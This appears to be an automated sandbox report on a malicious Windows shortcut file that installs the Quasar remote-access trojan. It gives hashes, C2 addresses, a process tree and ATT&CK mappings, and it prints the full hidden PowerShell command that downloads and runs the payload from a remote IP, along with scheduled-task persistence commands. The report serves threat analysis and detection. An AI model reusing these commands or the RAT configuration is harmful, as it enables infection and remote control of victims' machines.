quasar | e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00

Analysis

max time kernel
147s
max time network
155s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
03-11-2024 04:03

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General

Target

e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00.lnk
Size

2KB
MD5

04e779f16953e15b609dfab5be6ebd26
SHA1

d0e0b98da3f2ee3b0f8346d511436891380dd4f6
SHA256

e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00
SHA512

4e1967297fb67949b14b16fe8f1d8292360b94602e9da4871476bd7bba84c2cc013bc1b1cedff029c8b01b81f357657919cddcc030ad783a4e61a8db2e5b564b

Score

10^/10

quasar vtroy discovery execution spyware trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe

Extracted

Family

quasar

Version

1.3.0.0

Botnet

VTROY

31.13.224.12:61512

31.13.224.13:61513

Mutex

QSR_MUTEX_4Q2rJqiVyC7hohzbjx

Attributes

encryption_key
7Vp2dMCHrMjJthQ2Elyy
install_name
downloads.exe
log_directory
Logs
reconnect_delay
5000
startup_key
cssrse.exe
subdirectory
downloadupdates

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2592-58-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2592-62-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2592-61-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
4	2668	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2668	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 8 IoCs

Processes:

ajtjewc.exeajtjewc.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exedownloads.exedownloads.exe

pid	Process
2564	ajtjewc.exe
2592	ajtjewc.exe
2660	ajtjewc.exe
2828	ajtjewc.exe
3056	downloads.exe
2212	downloads.exe
2916	downloads.exe
1776	downloads.exe

Loads dropped DLL 4 IoCs

Processes:

ajtjewc.exeajtjewc.exe

pid	Process
2564	ajtjewc.exe
2564	ajtjewc.exe
2564	ajtjewc.exe
2660	ajtjewc.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
5	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

Processes:

ajtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 2564 set thread context of 2592	2564	ajtjewc.exe	34
PID 2564 set thread context of 2660	2564	ajtjewc.exe	35
PID 2564 set thread context of 2828	2564	ajtjewc.exe	36
PID 3056 set thread context of 2212	3056	downloads.exe	41
PID 3056 set thread context of 2916	3056	downloads.exe	42
PID 3056 set thread context of 1776	3056	downloads.exe	43

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

ajtjewc.exedownloads.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exedownloads.exeschtasks.exeajtjewc.exeschtasks.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exe

pid	Process
2716	schtasks.exe
1632	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exe

description	pid	Process
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	2564	ajtjewc.exe
Token: SeDebugPrivilege	2660	ajtjewc.exe
Token: SeDebugPrivilege	3056	downloads.exe
Token: SeDebugPrivilege	2916	downloads.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeajtjewc.exeajtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 2024 wrote to memory of 2668	2024	cmd.exe	32
PID 2024 wrote to memory of 2668	2024	cmd.exe	32
PID 2024 wrote to memory of 2668	2024	cmd.exe	32
PID 2668 wrote to memory of 2564	2668	powershell.exe	33
PID 2668 wrote to memory of 2564	2668	powershell.exe	33
PID 2668 wrote to memory of 2564	2668	powershell.exe	33
PID 2668 wrote to memory of 2564	2668	powershell.exe	33
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2592	2564	ajtjewc.exe	34
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2660	2564	ajtjewc.exe	35
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2564 wrote to memory of 2828	2564	ajtjewc.exe	36
PID 2660 wrote to memory of 2716	2660	ajtjewc.exe	38
PID 2660 wrote to memory of 2716	2660	ajtjewc.exe	38
PID 2660 wrote to memory of 2716	2660	ajtjewc.exe	38
PID 2660 wrote to memory of 2716	2660	ajtjewc.exe	38
PID 2660 wrote to memory of 3056	2660	ajtjewc.exe	40
PID 2660 wrote to memory of 3056	2660	ajtjewc.exe	40
PID 2660 wrote to memory of 3056	2660	ajtjewc.exe	40
PID 2660 wrote to memory of 3056	2660	ajtjewc.exe	40
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2212	3056	downloads.exe	41
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 2916	3056	downloads.exe	42
PID 3056 wrote to memory of 1776	3056	downloads.exe	43
PID 3056 wrote to memory of 1776	3056	downloads.exe	43
PID 3056 wrote to memory of 1776	3056	downloads.exe	43
PID 3056 wrote to memory of 1776	3056	downloads.exe	43

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe','ajtjewc.exe');./'ajtjewc.exe';(get-item 'ajtjewc.exe').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
    "C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2592
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2660
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe" /rl HIGHEST /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2716
    - - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3056
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2212
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2916
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe" /rl HIGHEST /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1632
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1776
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe

Filesize
773KB

MD5
ea087d683bf86b06b48b797d7ec7a4f0

SHA1
19c673fbb29b58c82eaa1b398d8b2c13d82024ad

SHA256
1030615e0ef4b461b68d47bfd787236866c98d3b4598b8e5ef56941b73cc3a9c

SHA512
ea78497907f7d7e5c49a30c130b6bb4ebdd529cf4a10f4b71b2987085a0dd4c4600de7ca376d25bd85bdea941b4516457c09b6114e3df40b24acfbaa83c2e64a

Download Submit
memory/2564-56-0x0000000006FC0000-0x00000000070AE000-memory.dmp

Filesize
952KB

Download
memory/2564-54-0x0000000000320000-0x00000000003EA000-memory.dmp

Filesize
808KB

Download
memory/2592-61-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2592-62-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2592-58-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2668-42-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-45-0x000007FEF5F3E000-0x000007FEF5F3F000-memory.dmp

Filesize
4KB

Download
memory/2668-46-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-44-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-43-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-55-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-38-0x000007FEF5F3E000-0x000007FEF5F3F000-memory.dmp

Filesize
4KB

Download
memory/2668-41-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2668-40-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2668-39-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/3056-78-0x0000000000B10000-0x0000000000BDA000-memory.dmp

Filesize
808KB

Download